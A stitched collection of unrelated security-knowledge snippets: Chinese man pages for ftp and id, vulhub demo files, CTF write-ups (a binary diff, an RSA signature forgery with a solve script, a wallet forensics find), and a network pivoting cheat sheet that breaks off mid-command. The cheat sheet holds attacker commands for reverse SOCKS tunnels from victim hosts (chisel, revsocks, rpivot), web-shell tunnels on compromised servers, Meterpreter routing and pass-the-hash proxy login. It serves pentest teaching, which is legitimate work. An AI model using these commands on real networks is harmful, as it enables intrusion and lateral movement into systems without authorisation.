FTP 服务器. (译者注: 你输入的 ftp 命令, 经由本地 ftp 客户程序解释, 转换成 ftp 协议命令, 再发送给远端 ftp 服务程序. 这些转换后的 ftp 协议命令, 叫做 raw ftp command, 也就是本命令所能使用的参数. 关于这些参数, 请参阅 remotehelp 命令. 下文中出现的大写字母的命令都是 raw ftp command.) .It Ic recv Ar remote-file Op Ar local-file 同 get 命令. .It Ic reget Ar remote-file Op Ar local-file 和 get 命令相似, 略有差异如下: 如果本地文件 .Ar local-file 的长度比远端文件 .Ar remote-file 短, ftp 会认为这是由于上一次传送异常中断, 导致本地文件只是远端文件的开头一部分, 故 reget 会从本地文件的最后开始续传. 在连接不稳、经常异常断掉的网络中传送大文件时, 本命令会很有用. .It Ic remotehelp Op Ar command-name 显示远端 .Tn FTP 服务程序的帮助信息. 如果指定了参数 .Ar command-name, 则此参数也会一并传给远端服务器. .It Ic remotestatus Op Ar file-name 如果不指定参数, 本命令显示远端机器的状态. 如果指定了参数 .Ar file-name, 则显示远端文件 .Ar file-name 的状态. .It Xo .Ic rename .Op Ar from .Op Ar to .Xc 将远端机器上的文件 .Ar from 重命名为 .Ar to. .It Ic reset 清除应答队列. 本命令使本地 ftp 客户和远端 ftp 服务程序 重新同步命令/应答序列. 远端 ftp 服务程序可能出错, 并导致 ftp 协议出现错误, 此时需要使用本命令. .It Ic restart Ar marker 使用本命令后, 接下来应使用一个 .Ic get 或 .Ic put 命令; 此时的 get 或 put 命令会从参数 .Ar marker 指定的 .Ux 系统文件偏移处 (一般以字节计算) 重传文件. .It Ic rmdir Ar directory-name 删除远端机器上的目录. .It Ic runique 转换 runique 状态, 即本地同名文件是否自动覆盖. 如果 runique 状态为 off, 则在使用 .Ic get 或 .Ic mget 命令取远端文件到本地时, 远端文件会自动覆盖本地的同名文件; 如果 runique 状态为 on, 则在文件同名时, 会在取回的文件名后加一个 .1; 如果加了一个 .1 还是与本地文件重名, 则在远端文件名后加 .2; 若还是重名, 加 .3; 以此类推, 如果直到 .99 还重名, 则会报错. 新文件名会显示给用户. 注意 .Ic runique 状态并不影响本地 shell 命令的文件覆盖. 缺省的 .Ic runique 状态为 off. .It Ic send Ar local-file Op Ar remote-file 同 put 命令. .It Ic sendport 转换 sendport 状态, 即是否使用 .Dv PORT 命令. 缺省状态下, .Nm ftp 每建立一个连接进行数据传送时, 都会使用一个 .Dv PORT 命令. 使用 .Dv PORT 命令可以免掉多文件传输时的延迟时间. 如果 .Dv PORT 命令失败, .Nm ftp 会使用缺省的数据端口. 如果禁止使用 .Dv PORT 命令, 则在每次进行数据传送时不会使用 .Dv PORT 命令. 有些版本的 .Tn FTP 在具体实现中忽略了 .Dv PORT 命令, 但却错误地应答说已经接受了 .Dv PORT 指令, 此时就需要使用本命令. .It Ic site Ar arg1 arg2 ... 本命令将参数作为 .Dv SITE 命令原样传给远端 .Tn FTP 服务器. .It Ic size Ar file-name 显示远端机器上文件 .Ar file-name 的大小. .It Ic status 显示 .Nm ftp 当前的各种状态. .It Ic struct Op Ar struct-name 将文件传输结构 .Ar structure 设置为参数 .Ar struct-name. 缺省取值为 stream. ?? .It Ic sunique 转换 sunique 状态, 即远端同名文件是否自动覆盖. 要使用本命令, 远端的 ftp 服务程序必须支持 ftp 协议中的 .Dv STOU 命令. 新生成的不同的远端文件名会显示给用户. 缺省的 sunique 状态为 off, 即自动覆盖远端同名文件. .It Ic system 显示远端机器的操作系统类型. .It Ic tenex 设置文件传输方式为与 .Tn TENEX 机器通讯所需要的方式. ?? .It Ic trace 转换 trace 状态, 即是否跟踪每个数据包. .It Ic type Op Ar type-name 将文件传送类型 .Ic type 设置为 .Ar type-name. 如果不指定参数, 则本命令显示当前文件传送类型. 缺省的文件传送类型是网络 .Tn ASCII 类型. .It Ic umask Op Ar newmask 设置远端机器上的文件掩码为 .Ar newmask. 如果不指定参数 .Ar newmask, 则本命令显示当前的文件掩码. .It Xo .Ic user Ar user-name .Op Ar password .Op Ar account .Xc 使用 .Op Ar user-name 作为用户名登录远端 .Tn FTP 服务器. 如果不指定参数 .Ar password, 而远端服务器需要提供密码, 则 .Nm ftp 会提示用户输入密码 (无回显); 如果不指定参数 .Ar account, 而远端 .Tn FTP 服务器需要提供账号, .Nm ftp 会提示用户输入账号. 如果指定了参数 .Ar account, 而在登录过程中远端 FTP 服务程序不需要账号, 则在登录完成以后会使用一个 account 命令将账号发送给服务器. 一般而言, .Nm ftp 在启动时, 会与远端 .Tn FTP 服务器建立连接并自动完成以上的登录过程. 也可以在启动 .Nm ftp 时使用 -n 选项禁止此自动登录功能. .It Ic verbose 转换 verbose 状态, 即是否显示详细信息. 如果 verbose 状态为 on , 则会显示远端 .Tn FTP 服务器的每一个响应, 并在文件传送结束后显示关于传输效率的统计信息. 缺省的 verbose 状态为 on . .It Ic ? Op Ar command 同 help 命令. .El .Pp 如果参数含有空格, 需用使用一对引号 "" 将其引起来. .Sh 放弃当前文件传送 (ABORTING A FILE TRANSFER) 按中断键 (一般为 Ctrl-C ) 可放弃当前文件传送. 对发送文件而言, 此时当前发送过程会立刻终止; 对文件接收, 此时会发送一个 ftp 协议中的 .Dv ABOR 命令到远端服务器, 而剩下未接受的数据会被丢弃. 这个过程有快有慢, 具体取决于远端服务器如何实现 .Dv ABOR 命令. 如果远端服务器不支持 .Dv ABOR 命令, 则服务器会继续当前文件传送, 直到传送完成, 才再显示出提示符 .Ql ftp>. .Pp 如果所有的本地操作已经完成, .Nm ftp 在等待远端服务器应答时, 不会对中断键做出响应. 如果这时候 ftp 协议出了问题, 或如上所述远端服务器不支持 ABOR 命令而坚持把当前文件发送完, 用户就会等待很长时间得不到响应. 如果确实是 ftp 协议出了问题, 用户必需手工杀掉这个 .Nm ftp 进程. .Sh 文件名转换 (FILE NAMING CONVENTIONS) .Nm ftp 命令中, 若指定文件名作为参数, 则此文件名会经过以下几步的处理: .Bl -enum .It 如果指定的文件名为 .Sq Fl , 则在输出时使用标准输出 .Ar stdin, 在输入时使用标准输入 .Ar stdout. .It 如果指定的文件名首字母是 .Sq \&|, 则此参数余下的部分被当作是一个 shell 命令. .Nm Ftp 会使用 .Xr popen 3 和所提供的参数创建一个 shell 进程, 并使用标准输入 stdin (标准输出 stdout) 来进行读 (写) 操作. 如果 shell 命令中包含空格, 则必须用引号将其引起来; 例如: "ls -lt". 一个有用的例子是: "dir | more". .It 如果上述两步处理失败, 而 globbing 状态为 on , 本地文件名会进行匹配, 匹配规则同 .Xr csh 1 (参阅 .Ic glob 命令). 如果 .Nm ftp 命令只需要单个的本地文件作参数 (如 .Ic put), 则仅使用匹配结果里的第一个文件名. .It 对 .Ic mget 和 .Ic get 命令而言, 如果不指定本地文件名, 则远端文件名在经过 .Ic case, .Ic ntrans, 或 .Ic nmap 转换后, 作为本地文件名使用. 如果 .Ic runique 状态为 on, 本地文件名还可能加上一个后缀以免覆盖. .It 对 .Ic mput 和 .Ic put 命令而言, 如果不指定远端文件名, 则本地文件名在经过 .Ic ntrans 或 .Ic nmap 转换后, 作为远端文件名使用. 如果 .Ic sunique 状态为 on, 远端服务器可能还会给远端文件名加上一个后缀以免覆盖. .El .Sh 文件转换参数 (FILE TRANSFER PARAMETERS) FTP 规格说明书中指定了许多可能影响文件传送的参数. .Ic type 可设置为 ascii, image (binary), ebcdic, 或 local byte size (一般用于 .Tn PDP Ns -10's 和 .Tn PDP Ns -20's 机器). .Nm Ftp 支持 ascii 和 image 类型的文件传输, 对于 .Ic tenex 机器, 还支持 local byte size 8 方式的文件传输. .Pp 其它可能影响文件传输的参数有 .Ic mode, .Ic form, 和 .Ic struct. .Nm Ftp 只支持这些参数的缺省值. .Sh 环境 (ENVIRONMENT) .Nm Ftp 使用了以下的环境变量: .Bl -tag -width Fl .It Ev HOME 本环境变量指明了文件 .Pa .netrc 的缺省路径, 如果其存在的话. .It Ev SHELL 本环境变量指明了缺省的 shell. .El .Sh 参阅 (SEE ALSO) .Xr ftpd 8, RFC 959 .Sh 历史 (HISTORY) .Nm ftp 命令最初见于 .Bx 4.2. .Sh 错误 (BUGS) 对许多 ftp 命令而言, 其能否正确执行, 取决于远端服务器如何响应. .Pp 使用 .Bx 4.2 的 ascii 方式传送文件时, 对回车换行符的处理有错误. 本版本中已经修正了此问题, 但同时带来了另一个问题: 使用 ascii 方式, 与 .Bx 4.2 服务器互传二进制文件时可能出错. 要避免此问题, 请使用 binary image 类型来传送文件.
sec-knowleage
package org.vulhub.fastjsondemo; import org.springframework.http.MediaType; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestBody; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestMethod; import org.springframework.web.bind.annotation.ResponseBody; @Controller public class JSONController { @RequestMapping(value = "/", method = RequestMethod.GET, produces = MediaType.APPLICATION_JSON_UTF8_VALUE) @ResponseBody public Object getUser() { User user = new User(); user.setName("Bob"); user.setAge(25); return user; } @RequestMapping(value = "/", method = RequestMethod.POST, produces = MediaType.APPLICATION_JSON_UTF8_VALUE) @ResponseBody public Object setUser(@RequestBody User user) { user.setAge(20); return user; } }
sec-knowleage
/* * Copyright 2015-2018 the original author or authors. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package example.users; import javax.persistence.Embeddable; import lombok.AccessLevel; import lombok.AllArgsConstructor; import lombok.EqualsAndHashCode; import lombok.Getter; import lombok.experimental.Delegate; /** * A value object to represent {@link Password}s in encrypted and unencrypted state. Note how the methods to create a * {@link Password} in encrypted state are restricted to package scope so that only the user subsystem is actually able * to encrypted passwords. * * @author Oliver Gierke */ @EqualsAndHashCode @AllArgsConstructor(access = AccessLevel.PRIVATE) @Getter(AccessLevel.PACKAGE) @Embeddable public class Password implements CharSequence { private @Delegate final String password; private @Getter transient boolean encrypted; Password() { this.password = null; this.encrypted = true; } /** * Creates a new raw {@link Password} for the given source {@link String}. * * @param password must not be {@literal null} or empty. * @return */ public static Password raw(String password) { return new Password(password, false); } /** * Creates a new encrypted {@link Password} for the given {@link String}. Note how this method is package protected so * that encrypted passwords can only created by components in this package and not accidentally by clients using the * type from other packages. * * @param password must not be {@literal null} or empty. * @return */ static Password encrypted(String password) { return new Password(password, true); } /* * (non-Javadoc) * @see java.lang.Object#toString() */ public String toString() { return encrypted ? password : "********"; } }
sec-knowleage
.\" DO NOT MODIFY THIS FILE! It was generated by help2man 1.48.5. .\"******************************************************************* .\" .\" This file was generated with po4a. Translate the source file. .\" .\"******************************************************************* .TH ID 1 2022年9月 "GNU coreutils 9.1" 用户命令 .SH 名称 id \- 显示真实和有效用户 ID 和组 ID .SH 概述 \fBid\fP [\fI\,选项\/\fP]... [\fI\,用户\/\fP]... .SH 描述 .\" Add any additional description here .PP 输出指定用户的用户和用户组信息,或(当没有指定用户信息时)默认使用当前进程的信息。 .TP \fB\-a\fP 忽略,仅用于与其它版本兼容 .TP \fB\-Z\fP, \fB\-\-context\fP 只显示当前进程的安全上下文 .TP \fB\-g\fP, \fB\-\-group\fP 只显示有效组 ID .TP \fB\-G\fP, \fB\-\-groups\fP 显示所有组 ID .TP \fB\-n\fP, \fB\-\-name\fP 显示名称而非编号,与 \fB\-ugG\fP 共同使用 .TP \fB\-r\fP, \fB\-\-real\fP 显示真实 ID 而非有效 ID,与 \fB\-ugG\fP 共同使用 .TP \fB\-u\fP, \fB\-\-user\fP 只显示有效用户 ID .TP \fB\-z\fP, \fB\-\-zero\fP 使用 NUL 字符分隔不同项,而不用空格; .IP 在默认格式情况下不允许使用 .TP \fB\-\-help\fP 显示此帮助信息并退出 .TP \fB\-\-version\fP 显示版本信息并退出 .PP 如果没有指定任何选项,将会显示一些有用的身份信息。 .SH 作者 由 Arnold Robbins 和 David MacKenzie 编写。 .SH 报告错误 GNU coreutils 的在线帮助: <https://www.gnu.org/software/coreutils/> .br 请向 <https://translationproject.org/team/zh_CN.html> 报告任何翻译错误 .SH 版权 Copyright \(co 2022 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>. .br 本软件是自由软件:您可以自由修改和重新发布它。在法律允许的范围内,不提供任何保证。 .SH 参见 完整文档请见: <https://www.gnu.org/software/coreutils/id> .br 或者在本地使用: info \(aq(coreutils) id invocation\(aq
sec-knowleage
version: '2' services: struts2: image: vulhub/struts2:2.5.12-rest-showcase ports: - "8080:8080"
sec-knowleage
ifdown === 禁用指定的网络接口 ## 补充说明 **ifdown命令** 用于禁用指定的网络接口。 ### 语法 ```shell ifdown(参数) ``` ### 参数 网络接口:要禁用的网络接口。 ### 实例 ```shell ifdown eth0 #禁用eth0 ```
sec-knowleage
--- title: 自动更新 --- ## 自动更新 使用 `upgrade` 命令可以自动更新 CF ```bash cf upgrade ``` 值得注意的是,CF 会先判断当前 IP 是不是大陆地址,如果是大陆地址则会采用 ghproxy.com 代理进行更新,如果是非大陆地址则会直接采用 github.com 进行更新。 > CF 会自动检查是否有新版本可用,如果发现新版本,CF 就会进行提醒,为保证 CF 的执行速度,每次检查时间间隔会大于 24 小时。 <Vssue /> <script> export default { mounted () { this.$page.lastUpdated = "2022年9月7日" } } </script>
sec-knowleage
# Breadth Reverse Engineering, 200 points ## Description > Surely this is what people mean when they say "horizontal scaling," right? > > TOP SECRET INFO: > > Our operatives managed to exfiltrate an in-development version of this challenge, where the function with the real flag had a mistake in it. Can you help us get the flag? Two binary files were attached. ## Solution Let's check the binary files: ```console ┌──(user@kali)-[/media/sf_CTFs/pico/breadth] └─$ ./breadth.v1 Dead code? What's that? Goodbye! ┌──(user@kali)-[/media/sf_CTFs/pico/breadth] └─$ ./breadth.v2 Dead code? What's that? Goodbye! ``` Each of the files contains multiple strings with the flag format, for example: ```console ┌──(user@kali)-[/media/sf_CTFs/pico/breadth] └─$ strings ./breadth.v1 | grep picoCTF | head picoCTF{l56NgISIwGnzQ6itzm5JTGuE52rVejGW} picoCTF{z6j6AFu1Zt0yqoAnf03VPuUt3EM6kOPz} picoCTF{jStHjV07iN9zmjlScFmzYUkPSLM0LCnq} picoCTF{hzP2N5rl08alRcfqps6yWFUnHfloV2MP} picoCTF{yJ2sOC0ko67imrEBHoMm1kHZFX1HCmBM} picoCTF{nG1QEOEpTWbLDgdCmGsZMQW5ue156kKs} picoCTF{VhQHm6cqLAera5k3g6TpWY1qQJjsAdvF} picoCTF{tTYva1pFAmMsVKPOocYt4rk3aCZ3skax} picoCTF{4CfUT1dDz04zaMj9oF1uIAZ8raUANAtw} picoCTF{sLGe27ZoFBR6czyH3QIph0ppWH3JR2BC} ``` Let's see what's the difference between them: ```console ┌──(user@kali)-[/media/sf_CTFs/pico/breadth] └─$ radiff2 breadth.v1 breadth.v2 0x000002d4 cd50612f31e893681973b990ffcbc7d7b8a8f1b4 => 4352e5d74f759ff99c57060c2bc2df2751a7dda9 0x000002d4 0x0009504b 54 => 44 0x0009504b 0x0009504e b83a8037d04839c27408c30f1f80 => 483d3ec71b04740ac3660f1f8400 0x0009504e 0x00253753 31 => 32 0x00253753 ``` The first difference is the build ID: ```console ┌──(user@kali)-[/media/sf_CTFs/pico/breadth] └─$ diff <(readelf -a breadth.v1) <(readelf -a breadth.v2) 228c228 < 38: 0000000000000000 0 FILE LOCAL DEFAULT ABS generated.v1.c --- > 38: 0000000000000000 0 FILE LOCAL DEFAULT ABS generated.v2.c 16655c16655 < Build ID: cd50612f31e893681973b990ffcbc7d7b8a8f1b4 --- > Build ID: 4352e5d74f759ff99c57060c2bc2df2751a7dda9 ``` Let's check the next difference by inspecting the contents at this location (in the newer version): ```console ┌──(user@kali)-[/media/sf_CTFs/pico/breadth] └─$ r2 ./breadth.v2 Warning: run r2 with -e bin.cache=true to fix relocations in disassembly -- How good is your C? [0x00001070]> aa [x] Analyze all flags starting with sym. and entry0 (aa) [0x00001070]> s 0x0009504b [0x0009504b]> pdb / 35: sym.fcnkKTQpF (); | 0x00095040 48c74424f03e. mov qword [rsp - 0x10], 0x41bc73e ; [0x41bc73e:8]=-1 | 0x00095049 488b4424f0 mov rax, qword [rsp - 0x10] | 0x0009504e 483d3ec71b04 cmp rax, 0x41bc73e | ,=< 0x00095054 740a je 0x95060 [0x0009504b]> ``` It's in the middle of the function, and the description said that the newer version fixes a bug for the function with the real flag. Let's follow the jump: ```console [0x0009504b]> s 0x95060 [0x00095060]> pdb | : 0x00095060 488d3d910e0c. lea rdi, str.picoCTFVnDB2LUf1VFJkdfDJtdYtFlMexPxXS6X ; 0x155ef8 ; "picoCTF{VnDB2LUf1VFJkdfDJtdYtFlMexPxXS6X}" \ `=< 0x00095067 e9c4bff6ff jmp sym.imp.puts ``` `picoCTF{VnDB2LUf1VFJkdfDJtdYtFlMexPxXS6X}` was accepted as the correct flag.
sec-knowleage
# Awesome Mix 1 (Crypto) In the task we get the source code: ```python #!/usr/bin/python -u from Crypto.PublicKey import RSA from Crypto.Signature import PKCS1_v1_5 as RSAsign from Crypto.Hash import SHA from Util import PKCS1_pad as pad from SECRET import flag import sys def verify(s,m,n,e): if pow(s,e,n) == pad(m): return True else: return False key = RSA.generate(1024) message = "super important information for admin only" h = SHA.new(message) signer = RSAsign.new(key) signature = signer.sign(h) s = int(signature.encode("hex"),16) print "Welcome to admin's music portal.\nTo verify that you are the owner of this service\nsend the public key which will verify the following signature :\n" print "Message ->", message print print "Signature ->", signature.encode("hex") print sys.stdout.flush() n = long(raw_input("Enter n:")) e = long(raw_input("Enter e:")) sys.stdout.flush() input_key = RSA.construct((n,e)) if verify(s,h.hexdigest(),n,e): print flag else: print "Music is only for admin's eyes." sys.stdout.flush() ``` So the server generates a random RSA key, signs a certain message with it and asks us for a public key matching the signature. The mistake here is that there are no restrictions on the values for the public key. What we get is: `signature == message^d mod n` And we want now values `(e,n)` for which holds: `signature^e mod n == message` If we take `e=1` then this equation becomes simply: `signature mod n == message` We can select any `n` we want, so we can choose the trivial case where `signature` is larger from `n` exactly by `message`, so that modulo operation will cut `signature` by `n`. If now: `n = signature-message` then `signature mod (signature-message) = message` We used for that code: ```python import re from Crypto.Hash import SHA from crypto_commons.netcat.netcat_commons import nc, send, interactive def PKCS1_pad(data): asn1 = "003021300906052b0e03021a05000414" ans = asn1 + data n = len(ans) padding = '0001' + 'f' * (1024 / 4 - n - 4) return int((padding + ans), 16) def main(): port = 8082 host = "51.15.73.163" s = nc(host, port) data = s.recv(99999) print(data) sig = re.findall("Signature ->(.*)", data)[0] signature = int(sig.strip(), 16) message = "super important information for admin only" h = SHA.new(message) m = PKCS1_pad(h.hexdigest()) e = 1 n = signature ** e - m print('n', n) print('e', e) send(s, str(n)) send(s, str(e)) interactive(s) main() ``` And got `CTF{cryp70_5ur3_15_w13rd}`
sec-knowleage
# Where is my purse (for) In the task we get a large filesystem image and a memdump to work with. Interesting part of memdump is a running KeePass instance. We got some password-like strings from it, but we've never actually used them. For some reason they were not necessary at all. We've looked around the drive image and the only unusual files we've noticed were connected with `Dcrwallet` (which had some connotation with "purse" from the task name). We grabbed all the files of the wallet, and there was a [db file](wallet.db) which contains plaintext string `flag{thx_you_found_my_wallet}`
sec-knowleage
# Network Pivoting Techniques ## Summary * [SOCKS Compatibility Table](#socks-compatibility-table) * [Windows netsh Port Forwarding](#windows-netsh-port-forwarding) * [SSH](#ssh) * [SOCKS Proxy](#socks-proxy) * [Local Port Forwarding](#local-port-forwarding) * [Remote Port Forwarding](#remote-port-forwarding) * [Proxychains](#proxychains) * [Graftcp](#graftcp) * [Web SOCKS - reGeorg](#web-socks---regeorg) * [Web SOCKS - pivotnacci](#web-socks---pivotnacci) * [Metasploit](#metasploit) * [sshuttle](#sshuttle) * [chisel](#chisel) * [SharpChisel](#sharpchisel) * [gost](#gost) * [Rpivot](#rpivot) * [RevSocks](#revsocks) * [plink](#plink) * [ngrok](#ngrok) * [Capture a network trace with builtin tools](#capture-a-network-trace-with-builtin-tools) * [Basic Pivoting Types](#basic-pivoting-types) * [Listen - Listen](#listen---listen) * [Listen - Connect](#listen---connect) * [Connect - Connect](#connect---connect) * [References](#references) ## SOCKS Compatibility Table | SOCKS Version | TCP | UDP | IPv4 | IPv6 | Hostname | | ------------- | :---: | :---: | :---: | :---: | :---: | | SOCKS v4 | ✅ | ❌ | ✅ | ❌ | ❌ | | SOCKS v4a | ✅ | ❌ | ✅ | ❌ | ✅ | | SOCKS v5 | ✅ | ✅ | ✅ | ✅ | ✅ | ## Windows netsh Port Forwarding ```powershell netsh interface portproxy add v4tov4 listenaddress=localaddress listenport=localport connectaddress=destaddress connectport=destport netsh interface portproxy add v4tov4 listenport=3340 listenaddress=10.1.1.110 connectport=3389 connectaddress=10.1.1.110 # Forward the port 4545 for the reverse shell, and the 80 for the http server for example netsh interface portproxy add v4tov4 listenport=4545 connectaddress=192.168.50.44 connectport=4545 netsh interface portproxy add v4tov4 listenport=80 connectaddress=192.168.50.44 connectport=80 # Correctly open the port on the machine netsh advfirewall firewall add rule name="PortForwarding 80" dir=in action=allow protocol=TCP localport=80 netsh advfirewall firewall add rule name="PortForwarding 80" dir=out action=allow protocol=TCP localport=80 netsh advfirewall firewall add rule name="PortForwarding 4545" dir=in action=allow protocol=TCP localport=4545 netsh advfirewall firewall add rule name="PortForwarding 4545" dir=out action=allow protocol=TCP localport=4545 ``` 1. listenaddress – is a local IP address waiting for a connection. 2. listenport – local listening TCP port (the connection is waited on it). 3. connectaddress – is a local or remote IP address (or DNS name) to which the incoming connection will be redirected. 4. connectport – is a TCP port to which the connection from listenport is forwarded to. ## SSH ### SOCKS Proxy ```bash ssh -D8080 [user]@[host] ssh -N -f -D 9000 [user]@[host] -f : ssh in background -N : do not execute a remote command ``` Cool Tip : Konami SSH Port forwarding ```bash [ENTER] + [~C] -D 1090 ``` ### Local Port Forwarding ```bash ssh -L [bindaddr]:[port]:[dsthost]:[dstport] [user]@[host] ``` ### Remote Port Forwarding ```bash ssh -R [bindaddr]:[port]:[localhost]:[localport] [user]@[host] ssh -R 3389:10.1.1.224:3389 root@10.11.0.32 ``` ## Proxychains **Config file**: /etc/proxychains.conf ```bash [ProxyList] socks4 localhost 8080 ``` Set the SOCKS4 proxy then `proxychains nmap -sT 192.168.5.6` ## Graftcp > A flexible tool for redirecting a given program's TCP traffic to SOCKS5 or HTTP proxy. :warning: Same as proxychains, with another mechanism to "proxify" which allow Go applications. ```ps1 # https://github.com/hmgle/graftcp # Create a SOCKS5, using Chisel or another tool and forward it through SSH (attacker) $ ssh -fNT -i /tmp/id_rsa -L 1080:127.0.0.1:1080 root@IP_VPS (vps) $ ./chisel server --tls-key ./key.pem --tls-cert ./cert.pem -p 8443 -reverse (victim 1) $ ./chisel client --tls-skip-verify https://IP_VPS:8443 R:socks # Run graftcp and specify the SOCKS5 (attacker) $ graftcp-local -listen :2233 -logfile /tmp/toto -loglevel 6 -socks5 127.0.0.1:1080 (attacker) $ graftcp ./nuclei -u http://172.16.1.24 ``` Simple configuration file for graftcp ```py # https://github.com/hmgle/graftcp/blob/master/local/example-graftcp-local.conf ## Listen address (default ":2233") listen = :2233 loglevel = 1 ## SOCKS5 address (default "127.0.0.1:1080") socks5 = 127.0.0.1:1080 # socks5_username = SOCKS5USERNAME # socks5_password = SOCKS5PASSWORD ## Set the mode for select a proxy (default "auto") select_proxy_mode = auto ``` ## Web SOCKS - reGeorg [reGeorg](https://github.com/sensepost/reGeorg), the successor to reDuh, pwn a bastion webserver and create SOCKS proxies through the DMZ. Pivot and pwn. Drop one of the following files on the server: - tunnel.ashx - tunnel.aspx - tunnel.js - tunnel.jsp - tunnel.nosocket.php - tunnel.php - tunnel.tomcat.5.jsp ```python python reGeorgSocksProxy.py -p 8080 -u http://compromised.host/shell.jsp # the socks proxy will be on port 8080 optional arguments: -h, --help show this help message and exit -l , --listen-on The default listening address -p , --listen-port The default listening port -r , --read-buff Local read buffer, max data to be sent per POST -u , --url The url containing the tunnel script -v , --verbose Verbose output[INFO|DEBUG] ``` ## Web SOCKS - pivotnacci [pivotnacci](https://github.com/blackarrowsec/pivotnacci), a tool to make socks connections through HTTP agents. ```powershell pip3 install pivotnacci pivotnacci https://domain.com/agent.php --password "s3cr3t" pivotnacci https://domain.com/agent.php --polling-interval 2000 ``` ## Metasploit ```powershell # Meterpreter list active port forwards portfwd list # Forwards 3389 (RDP) to 3389 on the compromised machine running the Meterpreter shell portfwd add –l 3389 –p 3389 –r target-host portfwd add -l 88 -p 88 -r 127.0.0.1 portfwd add -L 0.0.0.0 -l 445 -r 192.168.57.102 -p 445 # Forwards 3389 (RDP) to 3389 on the compromised machine running the Meterpreter shell portfwd delete –l 3389 –p 3389 –r target-host # Meterpreter delete all port forwards portfwd flush or # Use Meterpreters autoroute script to add the route for specified subnet 192.168.15.0 run autoroute -s 192.168.15.0/24 use auxiliary/server/socks_proxy set SRVPORT 9090 set VERSION 4a # or use auxiliary/server/socks4a # (deprecated) # Meterpreter list all active routes run autoroute -p route #Meterpreter view available networks the compromised host can access # Meterpreter add route for 192.168.14.0/24 via Session number. route add 192.168.14.0 255.255.255.0 3 # Meterpreter delete route for 192.168.14.0/24 via Session number. route delete 192.168.14.0 255.255.255.0 3 # Meterpreter delete all routes route flush ``` ## Empire ```powershell (Empire) > socksproxyserver (Empire) > use module management/invoke_socksproxy (Empire) > set remoteHost 10.10.10.10 (Empire) > run ``` ## sshuttle Transparent proxy server that works as a poor man's VPN. Forwards over ssh. * Doesn't require admin. * Works with Linux and MacOS. * Supports DNS tunneling. ```powershell pacman -Sy sshuttle apt-get install sshuttle sshuttle -vvr user@10.10.10.10 10.1.1.0/24 sshuttle -vvr username@pivot_host 10.2.2.0/24 # using a private key $ sshuttle -vvr root@10.10.10.10 10.1.1.0/24 -e "ssh -i ~/.ssh/id_rsa" # -x == exclude some network to not transmit over the tunnel # -x x.x.x.x.x/24 ``` ## chisel ```powershell go get -v github.com/jpillora/chisel # forward port 389 and 88 to hacker computer user@hacker$ /opt/chisel/chisel server -p 8008 --reverse user@victim$ .\chisel.exe client YOUR_IP:8008 R:88:127.0.0.1:88 R:389:localhost:389 # SOCKS user@victim$ .\chisel.exe client YOUR_IP:8008 R:socks ``` ### SharpChisel A C# Wrapper of Chisel : https://github.com/shantanu561993/SharpChisel ```powershell user@hacker$ ./chisel server -p 8080 --key "private" --auth "user:pass" --reverse --proxy "https://www.google.com" ================================================================ server : run the Server Component of chisel -p 8080 : run server on port 8080 --key "private": use "private" string to seed the generation of a ECDSA public and private key pair --auth "user:pass" : Creds required to connect to the server --reverse: Allow clients to specify reverse port forwarding remotes in addition to normal remotes. --proxy https://www.google.com : Specifies another HTTP server to proxy requests to when chisel receives a normal HTTP request. Useful for hiding chisel in plain sight. user@victim$ SharpChisel.exe client --auth user:pass https://redacted.cloudfront.net R:1080:socks ``` ## Ligolo Ligolo : Reverse Tunneling made easy for pentesters, by pentesters 1. Build Ligolo ```powershell # Get Ligolo and dependencies cd `go env GOPATH`/src git clone https://github.com/sysdream/ligolo cd ligolo make dep # Generate self-signed TLS certificates (will be placed in the certs folder) make certs TLS_HOST=example.com make build-all ``` 2. Use Ligolo ```powershell # On your attack server. ./bin/localrelay_linux_amd64 # On the compromise host. ligolo_windows_amd64.exe -relayserver LOCALRELAYSERVER:5555 ``` ## Gost > Wiki English : https://docs.ginuerzh.xyz/gost/en/ ```powershell git clone https://github.com/ginuerzh/gost cd gost/cmd/gost go build # Socks5 Proxy Server side: gost -L=socks5://:1080 Client side: gost -L=:8080 -F=socks5://server_ip:1080?notls=true # Local Port Forward gost -L=tcp://:2222/192.168.1.1:22 [-F=..] ``` ## Rpivot Server (Attacker box) ```python python server.py --proxy-port 1080 --server-port 9443 --server-ip 0.0.0.0 ``` Client (Compromised box) ```python python client.py --server-ip <ip> --server-port 9443 ``` Through corporate proxy ```python python client.py --server-ip [server ip] --server-port 9443 --ntlm-proxy-ip [proxy ip] \ --ntlm-proxy-port 8080 --domain CORP --username jdoe --password 1q2w3e ``` Passing the hash ```python python client.py --server-ip [server ip] --server-port 9443 --ntlm-proxy-ip [proxy ip] \ --ntlm-proxy-port 8080 --domain CORP --username jdoe \ --hashes 986D46921DDE3E58E03656362614DEFE:50C189A98FF73B39AAD3B435B51404EE ``` ## revsocks ```powershell # Listen on the server and create a SOCKS 5 proxy on port 1080 user@VPS$ ./revsocks -listen :8443 -socks 127.0.0.1:1080 -pass Password1234 # Connect client to the server user@PC$ ./revsocks -connect 10.10.10.10:8443 -pass Password1234 user@PC$ ./revsocks -connect 10.10.10.10:8443 -pass Password1234 -proxy proxy.domain.local:3128 -proxyauth Domain/userpame:userpass -useragent "Mozilla 5.0/IE Windows 10" ``` ```powershell # Build for Linux git clone https://github.com/kost/revsocks export GOPATH=~/go go get github.com/hashicorp/yamux go get github.com/armon/go-socks5 go get github.com/kost/go-ntlmssp go build go build -ldflags="-s -w" && upx --brute revsocks # Build for Windows go get github.com/hashicorp/yamux go get github.com/armon/go-socks5 go get github.com/kost/go-ntlmssp GOOS=windows GOARCH=amd64 go build -ldflags="-s -w" go build -ldflags -H=windowsgui upx revsocks ``` ## plink ```powershell # exposes the SMB port of the machine in the port 445 of the SSH Server plink -l root -pw toor -R 445:127.0.0.1:445 # exposes the RDP port of the machine in the port 3390 of the SSH Server plink -l root -pw toor ssh-server-ip -R 3390:127.0.0.1:3389 plink -l root -pw mypassword 192.168.18.84 -R plink.exe -v -pw mypassword user@10.10.10.10 -L 6666:127.0.0.1:445 plink -R [Port to forward to on your VPS]:localhost:[Port to forward on 